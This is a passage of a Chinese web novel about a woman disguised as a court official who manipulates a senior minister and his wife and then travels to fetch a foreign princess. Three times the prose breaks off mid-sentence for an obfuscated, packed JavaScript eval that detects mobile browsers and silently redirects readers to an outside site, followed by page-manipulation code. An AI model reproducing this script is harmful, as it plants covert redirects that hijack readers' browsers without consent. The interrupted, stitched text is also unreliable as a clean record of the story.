;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582230|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好生哄着她,久而久之必定会影响他在丞相府的地位。
看来这乘龙快婿,也不是那么好当的啊。
我承认自己有些幸灾乐祸,但同时也不免感到失落。我费了这么一番功夫,特意来调查这处宅院,是想搞清楚官场勾结,弄明白是谁在害我,可不是来听家长里短的。
我转身想要离开,却在不经意间瞥见那位柔弱美妾。
等等,她看起来似乎有些眼熟……尤其是那眉眼,总有一股似曾相似的感觉。
我突然反应过来,她的脸长得有点像我。当然不是指周郎的脸,而是我曾经用过的,叶婉清的脸。
这一刻,我的心情比吃了苍蝇屎还难受。
我莫名有种被冒犯到的感觉,若是张知节有意为之,对那女子也是一种冒犯。我倒情愿这只是一场误会,其实是我在自作多情。
本来我不想掺和这破烂事,但事已至此,我改变了主意。就算是一滩烂泥,我也要进去踩上几脚,好好搅和一番。
我从墙角走出,插到两人的中间,笑着道:“哎哎哎,都是误会。”
“夫人有所不知,这其实是我的宅院,我今日有要事,特意邀张大人上门相商。”
王慧敏半信半疑道:“那这女人,又是怎么回事?”
我装作不好意思的模样,摸了摸脑袋,解释道:“我妻子去世后,我遇见了这姑娘,便是一见如故。但丧期过去不久,若是直接将她娶回家,于情于理都不合适,所以便将她暂时安置在这里。夫人若是不信,可以查一下这处宅院,到底挂靠在谁的名下。”
我偏过头,给张知节使了个眼色。他当即了然于心,神色镇定地附和道:“夫人,这的确都是误会。你莫要因为这点小事,气到了身体。”
王慧敏看了看我,又望了望张知节,脸上的火气似乎消去了大半。她撇了撇嘴,瞪眼道:“好吧,今日我就信了你,若是叫我发现你在骗我……张知节,我必定阉了你!”
她甩了甩手绢,唤来车夫丫鬟,头也不回地走了。
我望着她风风火火离去的身影,对张知节小声嘀咕了一句:“尊夫人……真是颇有风范啊。”
张知节眼皮微掀,多看了我一眼。虽然他始终保持着冷静的模样,但现在几乎是肉眼可见地放松了下来。
他朝我行了一礼:“多谢周侍郎解围。”
毕竟他前脚刚算计了我,后脚我便冒出来以德报怨。怕是连他自己也没想到,我会愿意出来帮他背这个黑锅。
这回他可是欠了我一个大人情。
我笑着说道:“都是同乡,何必这么生分。若是张兄不嫌弃,直接唤我佑民便好。”
张知节有意跟我保持距离,直接拒绝了我称兄道弟的提议:“在朝为官,须得公私分明,还是以官职相称为好。”
“既然张尚书坚持,那我也不勉强了。只不过我有一事,实在是好奇。”
“何事?”
14. 意中人
34
我只说却之不恭,可没答应要替张知节保守秘密。
前脚刚跟张知节分开,后脚我就立刻去追王慧敏,总算赶在她回到相府前,在半路截到了她的马车。
王慧敏从马车里探出头,表情看起来不太高兴。她好不容易今日捉奸在场,却被我这个不知打哪蹦出来的人搅黄,硬生生搪塞成一场误会,现在不待见我倒也正常。
她不耐烦地问道:“你有什么事?”
我没有说话,只是看了几眼她身边的婢女。王慧敏毕竟是出身名门,也算是见惯了勾心斗角、大风大浪的人,很快就意识到我要说的话不一般。
她眯起眼,改了语气:“她们都是我的贴身丫鬟,只会听我的吩咐,你有什么话可以直说。”
我稍微放下心,凑到车窗旁,小声道:“我此番来寻夫人,是想为方才的事道歉。”
“哦?你这道的是哪门子的歉?”
“其实……刚才我对夫人说了谎。”我低下头,装作一副有难言之隐的模样,期期艾艾地说道,“那名女子确实是张大人藏起来的外室,并非我养的小妾。我身为他的下官,实在是迫于无奈,只能帮忙遮掩。”
“可我思来想去,始终问心有愧,觉得对不起夫人。这才匆忙追了过来,决定亡羊补牢,及时坦白真相。”
正所谓以彼之道,还施彼身。不就是合伙背刺嘛,张知节李郎做得到,我叶婉清自然也做得到。
如果把张知节给卖了,能够获得王慧敏的信任,打探到更有用的消息,那这可是一桩相当划算的买卖。
听完我的话,王慧敏冷笑道:“果然,我就知道他瞒着我,绝对是别有用心。”
“敢问夫人是如何发现这事的?”
“这很简单,只要有账本,什么都躲不过我的眼睛。”王慧敏扬了扬下巴,神情很是骄傲得意,“府里的账目,全部都由我亲自核查。那些个窝囊废,管账的能耐还没我强,竟敢妄图蒙骗糊弄我,很快就被我发现了。”
我顺着话头,连忙拍了个马屁:“夫人真是慧眼如炬,能够明察秋毫。”
王慧敏却不领情:“你别以为说些好话,我就不会算你的账。不过比起你,我更想收拾那个小妾,还有张知节那个混蛋!要不是有我们王家在,他哪能过得这般如鱼得水。他不感恩戴德也就罢了,竟敢背着我养小妾,败坏我们家的名声,这置我的脸面于何地!”
听完这番话,我总算弄明白了王慧敏的态度。
旁人都以为她是妒妇,所以才化身为母老虎,牢牢掌控着张知节。可我却觉得,她对张知节并无任何感情牵挂。比起丈夫的宠爱,她更在意自己的地位颜面,是否掌握着真正的话语权。
如此便好办了。
我决定利用这份可趁之机,说服她:“夫人,就算你今日折返,收拾了那小妾,教训了夫君,可日后说不定还会有千千万万个小妾出现。水至清则无鱼,人至察则无徒,您管得越是严厉,张大人就越是反感,迟早还会另寻佳人。”
“照你的意思,这倒还成了我的不是了。”王慧敏面露不悦,气愤道,“难道我就该包容他养小妾?”
“非也,在下不是这个意思。扬扬止沸,莫若釜底抽薪。抓小妾治标不治本,若要制止张大人,还需要从源头下手。”我双手合拢,朝王慧敏行了一礼,“若夫人信得过,请将此事交给我办。我必定会让他从此止住心思,再也不会养别的小妾。”
王慧敏将信将疑道:“你先是帮他,又反过来帮我,是个两边倒的家伙,叫我如何信得过你?”
“夫人信我,左右也没什么损失。若是有用,便能了却您的心腹大患。若是无用,您想怎么找我麻烦都成。”
王慧敏轻笑一声:“好吧,那我便信你一回。”
我压低声音,小声道:“此事还需夫人配合,要如此这般……”
35
此后的这几日,张知节都过得不太舒坦。
早朝的时候,他眼底挂着浓浓的黑眼圈,眼袋也跟着垂了下去,哪怕强打着精神,仍是一脸倦容。我还看见他用笏板挡着嘴,不动声色地打了个哈欠。
等下了早朝,回礼部处理公务。张知节坐在桌案边,拿着竹简半天都没有动静。我悄悄望过去,发现他合眼打起了盹。
我在心里偷笑,王慧敏比我想象的还能折腾。
那天我给她提的要求,便是要她故意闹得张知节不得安生,最好整夜睡不着觉,在家里待不下去。
没想到她如此配合,甚至可以说有过之而无不及。
当时她双眸微亮的神情,落在我的眼里,实在是让人印象深刻。或许她也憋着满肚子的气,想要借由这个由头发泄出来。
我不紧不慢地批阅着公文,故意磨蹭到了很晚。
临近日落时分,赵怀礼邀我去酒楼用膳,我也以公务繁忙为由拒绝了。自从上次跟他推心置腹讨论了仕途,他已然将我当做了知心挚友,时不时便寻我促膝长谈,分享自己对于政事的见解。
自从被定为出使大臣,我确实多了不少事要忙。迎娶和亲公主兹事体大,容不得出半点差错。我以此为借口,赵怀礼自然不疑有他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600779|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他虽然心有落寞,但还是表示理解,然后独自离开了。
现如今只剩下了我和张知节。
张知节这一觉睡了很久。许是困得不行,他甚至忘记了掩饰,也没能顾及仪态,直接枕着胳膊,伏在了案头。
我蹑手蹑脚地走了过去,用自己的外衫披在他肩头,然后坐回自己的位置,安静地看着卷轴。
直到天色渐沉,张知节终于醒了过来。他拿着身上滑落的衣衫,转头看向我,脸上浮现出片刻的茫然若失,但很快又恢复了平静。
他问:“周侍郎为何还不回家?”
我伸了个懒腰,捶了捶肩膀:“还不是托您的福,我要出使燕国处理和亲之事,不知不觉就忙到了现在。”
若是换作别人,听到我这话,肯定多少会有点愧疚。再不济,也会有些尴尬。可张知节却没有任何反应,仿佛我的遭遇跟他完全无关。
我只好换了个话题:“我是因为公务绊住脚,那么张大人呢,您又是为什么待在这里?”
张知节没有回答,只是低头看了看自己手里的衣衫。他的半张脸隐没在黑暗之中,叫人看不真切。
他忽然问道:“这是你的外衫吗?”
“是啊,我怕张大人着凉,就好心给您披了件衣裳,您可不要怪我多此一举。”
“多谢。”张知节坐直了身子,脸上的神情也有了变化。
不枉我故意脱下外衫,来演这一出戏,他总算稍微敞开了心扉。
烛火不断跃动,光线暧昧不明。张知节托起下巴,脸上泛起柔和的暖意。他露出怀念的神情,轻声说道:“以前我挑灯苦读,也曾有人陪在我的身旁,为我披一件衣裳。”
我知道他说的是谁,就是我叶婉清。
在我看见他小妾面容的那一刻起,我就知道这点可以为我所用。
张知节抚摸着衣衫,仿佛在透过这层布料,回味曾经共同度过的岁月。他抬头看向我,叹息道:“其实,我根本不想回家。”
他张了张嘴,唇瓣无声开合,却没有继续说下去。纵使被情感操控,内心充满惆怅,他也始终维持着理智。
他比任何人都要会权衡利弊,若是对我抱怨王慧敏,难保不会走漏风声,传到王丞相的耳朵里,所以他选择沉默。
我体贴地安慰道:“家家有本难念的经,张大人莫要太过烦忧。”
“对了,都说美酒解千愁。”我装作灵光一闪,猛地拍了下脑袋,提议道,“我正好买了一坛酒,放在这里忘记带回家了。您看要不这样,我们在此小酌几杯,为您消一消心事。”
15. 和亲公主
36
月亮不知不觉爬上树梢,耳畔传来阵阵蝉鸣。
醇厚的酒香从杯中溢出,在夜色中弥漫开来。我不停给张知节倒酒,杯子堪堪见底,很快又重新满上。
张知节拦住我的胳膊,摇了摇头:“喝酒不可贪杯,到这里便好。”
我岂会轻易罢休,连忙劝道:“张兄不想回家,左右也没什么事,再喝几杯也无妨。若是您夫人问起来,就说跟我有事相谈,她肯定不会追究。”
听我提起王慧敏,张知节叹了一口长气。他垂着头,神情略显疲惫,仿佛一下子老了几岁,言语里是止不住的苦涩:“罢了罢了,那便再喝些。”
我提前跟王慧敏打好招呼,为的就是激化张知节的情绪。他确实能忍常人所不能忍,但只要是人,便有喜怒哀乐。经年累月的不满,就算藏得再深,也始终存在于内心深处。
这些怨怼非但不会消散,还会随着时间的推移日渐发酵。他平日里压抑得越狠,今日便会爆发得越剧烈。
一杯又一杯的酒下肚,张知节的眼神变得有些迷离。他晃了晃脑袋,竭力保持着清醒,摆手道:“我不能再喝了。”
我不停怂恿,鼓动着他的情绪:“明月几时有,把酒问青天。张兄莫要无辜这月色,应当多饮几杯才值得啊!”
张知节盯着杯中酒,里头倒映着一轮皎洁的明月。他叹息道:“酒中月是天上月,眼前人却非心上人呐。”
我明知故问道:“张兄说的心上人,可是林兰芝?”
“非也,非也。”张知节猛灌了一大杯酒,说话也有些前言不搭后语,“郎骑竹马来,绕床弄青梅。早知道丞相的女儿是个母老虎,我就该回去娶我的小青梅。”
他能把这话说出口,说明已经醉得不轻。
我定了定神,试探道:“抽刀断水水更流,酒杯消愁愁更愁。张兄不要莫要多想,且随缘去吧。你瞧我,前些日子还在为出使的事发愁,现在不也好端端地接受了嘛。”
“周弟啊,你莫要怪我。”张知节身形摇晃,趴在桌案上,抬起头看我,“派你出使燕国,并非我的本意。谁叫你得罪了赵家,礼部又正好要出这个人头。”
我拿着酒杯的手不由得顿住。
原来是赵家……这些个世家大族,全都是地位高心眼小,容不得别人冒犯自己的利益。明明是赵怀礼自己不想要,他们却非要斤斤计较,变着法子使绊子,给我找不痛快。
不过话又说回来,张知节可不是任人拿捏的软柿子。就算是看在赵家的面子上,也轮不到他亲自出面。
这背后的隐情恐怕要更复杂。
我撇了撇嘴,故意道:“张兄这话说的,可真叫我委屈。你应当也清楚,那赵怀礼自个儿无意当礼部侍郎,叫我白捡了便宜。赵家怎么能不分是非对错,就这样迁怒于我?”
“要只是赵家也就罢了,但你竟然惹了那位……”
张知节话说到一半,就这样戛然而止。哪怕是无意识的醉酒状态,他也依然有所顾忌。
我直觉抓到了关键,连忙追问道:“不知我冒犯了哪位大人?”
张知节却不答,只是喃喃自语道:“我帮他做事已有几年,他却还不信任我。有时候我都在想,自己这般忍气吞声,到底是为了什么?”
我想尽千方百计灌醉他,可不是来听他满腹牢骚的。他倒是把刚才的话给说完啊!
我心里抓耳捞腮,很是不耐,面上又不能表现出来,只能配合地安抚道:“张兄位极人臣,已然高出我们这些同乡。那位大人竟让你这样卑微?”
引导的话说到这里,我满心期待张知节可以吐出点什么。
怎料他沉浸在自己的世界,喋喋不休道:“刚中科举的时候,我踌躇满志,本以为自己终于可以造福黎民百姓。待步入官场以后,看见那些寒门书生战战兢兢,在朝廷上如履薄冰,我才意识到就算有满腹才华,我也根本无处施展。于是我决定换种方式实现抱负,唯有背靠丞相府,我才有足够的权力影响朝廷。”
说到这里,他忽然将脸凑过来,低声道:“你知道,为何清河县近年来,有那么多人都能考取功名吗?”
我先是一愣,脑中浮现了某个猜想:“难道是你插手科举,故意扶持寒门……”
“嘘。”张知节将食指竖在唇边,轻声道,“言尽于此。”
我的内心顿时五味杂陈。他在暗中试图削弱世家,而自己又背靠名门,混得如鱼得水。这让我一时间分不清,他到底是追名逐利,还是真的妄图改变朝廷的结构。
也许他真的曾身负凌云壮志,却英雄毫无用武之地。亦或许,他只是在自我麻痹,为自己入赘丞相府找借口,打着虚伪的幌子,来粉饰所谓的自尊心。
我问:“世家根深叶茂,仅凭你一人之力,又如何改变?”
“千里之堤,溃于蚁穴。”张知节说完,连着灌下几杯酒,“我本以为再等上几年,旧人老去便是新人的天地,就是我大展身手的时候。可没想到,他还是对我处处提防,始终不肯告知我行事的缘由。我到现在都不知道,你到底有什么本事,才能他的成为眼中钉。”
我张了张嘴,想接着套话。没想到张知节却脑袋一歪,直接栽倒在桌案。
“张兄,张兄。”我推了推他的肩膀,他却迟迟没有反应。
睡得可真不是时候,好歹把背后之人告诉我再睡啊。
我叹了一口气,准备起身收拾桌上的残局。没想到刚站起来,手腕忽然被人抓住了。
我低下头,发现张知节半睁着眼,似醉似醒地望着我。
他缓缓道:“婉清啊,你不要再装了。”
我呼吸一滞,心脏仿佛停止了跳动。
37
在这短暂的片刻,我的脑袋里浮现无数念头。
难道张知节看穿了我的身份?是我的易容出现了纰漏吗,还是说我的言行有问题?他到底是怎么发现的?
我僵在原地不敢动,始终没有接话。
“婉清,其实我知道你对我只是虚情假意,也知道你还有其他相好。在清河县的时候,我就知道了。”
我捂着嘴,屏住呼吸,手指止不住地颤抖。他……竟然知道?!
“刚发现这事的时候,我对你怒不可遏,我怨你二三其德,我恨你背叛我。但我什么也没有说,只是装作不知情的模样,等你主动来跟我坦白。可你……什么都没有发现,比起我的感情,你更在乎我放榜的结果。”
“在入京当官以后,我一气之下娶了丞相的女儿,始终对你不闻不问。但很快我就后悔了,比起王慧敏的嚣张跋扈,我更喜欢你的温情软语。我太想念你了,可是王慧敏绝不会容许我娶你回家。“
“后来我遇见了林兰芝,她有几分像你,可始终不是你。我看着她的脸,不停地想着你,内心才能获得片刻的宁静。”
说到这里,张知节忽然抱住我,小声抽泣起来:“你为什么要嫁给周佑民,为什么要离我而去?你死得这般突然,我都未能再见你一面。只有像这样不清醒,亦或者梦中相见,我才能朦胧间窥见你的身影。”
我立刻松了一口气。原来他只是在说醉话啊。
张知节早就知道我跟其他竹马有牵扯,这点实在是出乎我的意料之外。
“张兄,你真是醉得不轻,竟把我当做了别人。”我用力推开他的胳膊,挣脱了怀抱,“若你不说,我还真不知道,你跟婉清还有这样一段往事。”
不过是个懦夫,因为害怕得罪王慧敏,连我的葬礼都不敢参加,又何必在这里故作情深。
没有人逼着他娶丞相的女儿,也没有人逼着他作出牺牲,更没有人逼着他亲近林兰芝。
官是他自己当的,亲是他自己成的,妾也是他自己藏的,怎么好意思在这里大倒苦水。
他爱得从来都不是叶婉清,而是他自己。好处都让他占尽了,却要硬装出一副情圣模样。
张知节拉着我的手,我只觉得反胃。
37
张知节说话颠来倒去,我始终没能问出要紧事。我将在他安置在礼部留宿的卧房,便自己回了府。
也许是因为宿醉,次日清晨张知节有些萎靡不振。他颇为头疼,揉着太阳穴,问我:“昨晚喝醉酒,我没说什么怪话吧?”
看来他昨夜醉得不省人事,醒来后完全不记得自己说了什么话。
我笑着糊弄道:“张大人酒品好,醉后便瘫在桌上,什么话都没说。”
张知节稍稍松了口气。
我想起答应王慧敏的事,于是凑到张知节的耳边,小声道:“张大人,您给的田宅,我都收到了。作为感谢,我想给您一句劝告。落花风雨更伤春,不如怜取眼前人。”
张知节猝不及防听到我提起这事,反倒有些不明所以。
我只好暗示道:“您有所不知,挂到我名下的那处房产,夫人时不时派人过去打探,看来还是没有放下心。您最好还是不要过去了。”
其实王慧敏根本没有再去拜访那栋宅院,这只是我用来唬张知节的,为了不让他再去找林兰芝。
“说什么红颜,转眼便是枯骨。说什么朱阁,转眼便成荒场。张大人是个明白人,孰是孰非,您自己心中应该清楚。”
我了解张知节,他相当会权衡利弊,必然能做出合
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616829|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
适的取舍。
王慧敏那里有了交代,朝廷的事情也稍微有了眉目,我便暂时投身于和亲之事的安排当中。
前去燕国的日子逐渐逼近,赵怀礼再次约我去酒楼相聚,说是要为我送行。这回我没有拒绝。
他从袖口掏出一支杨柳,双手捧到我的面前,情真意切地说道:“此去翻山越岭,实在是路途遥远,周弟千万要照顾好自己。”
杨柳细长的枝叶尚带着露水,想必是他清早刚为我折的。我笑了笑,收下了柳枝,没多说些什么。
饭菜上桌,俱是色香味俱全,我却没什么食欲。
正如赵怀礼所说,这趟路程确实艰险,再加上两国时有摩擦。若是一着不慎,很可能有来无回。更何况,我还没彻底查出周佑民得罪的人,只知道跟张知节有所关系。
只可惜从上次喝酒以后,张知节再没给我留下可趁之机。他始终跟我保持着不远不近的距离,根本不会提多余的事情。
赵怀礼见我迟迟没有动筷,便有些担忧地问道:“周弟可是有什么烦心事,竟如此心不在焉?”
我当然不可能跟他说张知节养外室,还有背后一连串的牵扯。于是我故意找了个话题,半调笑地问道:“赵兄可有心仪的女子?”
“没有。”赵怀礼先是一愣,接着颇为怪异地看了我一眼,“你怎的问起这个?”
想起张知节和王慧抿这对形同陌路的夫妻,让我不由得好奇起赵怀礼这般正直的人,又会如何看待自己的未来妻子。但我不能把张知节的事往外抖,只好装作不经意地说道:“没什么,只是突然想起来,朝中不少大臣都是三妻四妾。赵兄如此年轻俊美,还是个青年才俊,怎么会至今仍没有婚配?”
“我不想成亲。”赵怀礼轻声道。
“什么?”我以为自己听错了。
“比起草草成亲,娶个门当户对的姑娘,我更想自己待着。我不愿三妻四妾,我只愿得一人心,白首不分离。可是知心人难遇,如若没有合适的机缘,我宁愿终身不娶。”
我不禁哑然:“想不到赵兄……竟这般纯情。”
赵怀礼似乎有些不好意思。他别过头,咳嗽了几声:“我只想一生一世一双人,你可别笑话我。”
“赵兄如此深情,我怎么会笑话?”我把杨柳插到他的鬓边,半开玩笑地说道,“花开堪折直须折,莫待无花空折枝。赵兄这般好颜色,却又如此挑剔,当心错过心仪之人,最后孤独终老。”
赵怀礼低着头,半天没有回话。
我以为是自己调戏过了头,不小心伤到了他的心。这瞬间我有些慌乱,不知道如何找补,只好拿起茶杯喝水,试图掩盖内心的局促。
他却忽然说道:“周弟若是女子便好了。”
听到这句话,我险些把嘴里的茶水给喷了出来。
“咳咳咳……咳咳咳。”我使劲拍打着胸脯,勉强顺过了气,磕磕绊绊地问道,“你、你……这是什么意思?”
赵怀礼垂下眼眸,平静道:“没事,是我唐突了,不小心说了些糊涂话。”
我不敢继续追问,随口便敷衍了过去。赵怀礼没再说出什么石破天惊的话,神色如常地吃完了饭菜,便跟我告别分开。
38
不久,我踏上了前往燕国的路途。
成群结队的车马,载着满箱的金银珠宝,都是迎接和亲公主的聘礼。先是沿水路前行,而后抵达北方的河岸,接着翻过几座高山。我们终于来到了燕国。
燕国的君王接见了我们。他看起来已然年迈,满头白发苍苍,胡须粗糙干枯,说是半截身子快要入土也不为过。他似乎没有多余的精力应付外宾,三言两语将我们打发走,该有的礼遇却没有少。我实在是琢磨不透他的态度。
这趟行程没有丝毫耽搁,和亲公主的马车很快就出发了。启程那日我站在队伍的前头,远远看见公主身穿一袭红衣,披着血红色的盖头上了马车。
她的背影修长高挑,就算放在男子中也是佼佼者。
我不由得心生惊讶,我本以为自己在女子中,已经算是长得极高了。没想到她比我更胜一筹,竟高出了好几寸。
燕国身处北地,常年天寒地冻。此地的百姓饮食习惯不同,骨架也更为高大。这样一想,公主这副身形自然不足为奇。
我凑了过去,想跟公主说上几句话,稍微套一下近乎。毕竟这山高路远的,还有相处好一段时间,才能顺利回到京城,能打好关系摸清公主的脾性,当然是再好不过。
不料旁边的侍女伸出手,颇为傲慢地扬了扬下巴,阻拦道:“我们公主生性文静,不喜跟生人接触,还请各位自重。”